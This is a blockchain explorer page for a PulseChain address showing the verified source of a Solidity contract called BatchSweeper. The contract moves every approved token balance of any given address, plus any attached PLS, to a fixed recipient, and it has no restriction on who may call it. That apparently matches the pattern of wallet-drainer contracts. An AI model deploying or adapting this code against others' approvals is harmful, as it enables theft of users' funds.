Skip to main content
PulseScanner.io

Address

0x0152fc96148ae284ea91fc72ef8b8ca38b497ac8
Current Holdings
$0.00
TXs sent
0
First Active
2025-11-04
block 24,938,161
Last Active
8 days ago
block 27,499,845
Funded By
not identified

Net worth historyi

No net-worth snapshots recorded yet
exact matchBatchSweepersolc 0.8.20+commit.a1b79de6runtime exact · creation exact
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

interface IERC20 {
    function balanceOf(address account) external view returns (uint256);
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

contract BatchSweeper {
    address public immutable RECIPIENT;

    constructor(address _recipient) {
        RECIPIENT = _recipient;
    }

    function sweepTokens(address from, address[] calldata tokens) external payable {
        for (uint256 i = 0; i < tokens.length; ) {
            IERC20 token = IERC20(tokens[i]);
            uint256 bal = token.balanceOf(from);
            if (bal > 0) {
                token.transferFrom(from, RECIPIENT, bal);
            }
            unchecked { ++i; }
        }
        if (msg.value > 0) {
            (bool success, ) = RECIPIENT.call{value: msg.value}("");
            require(success, "PLS transfer failed");
        }
    }
}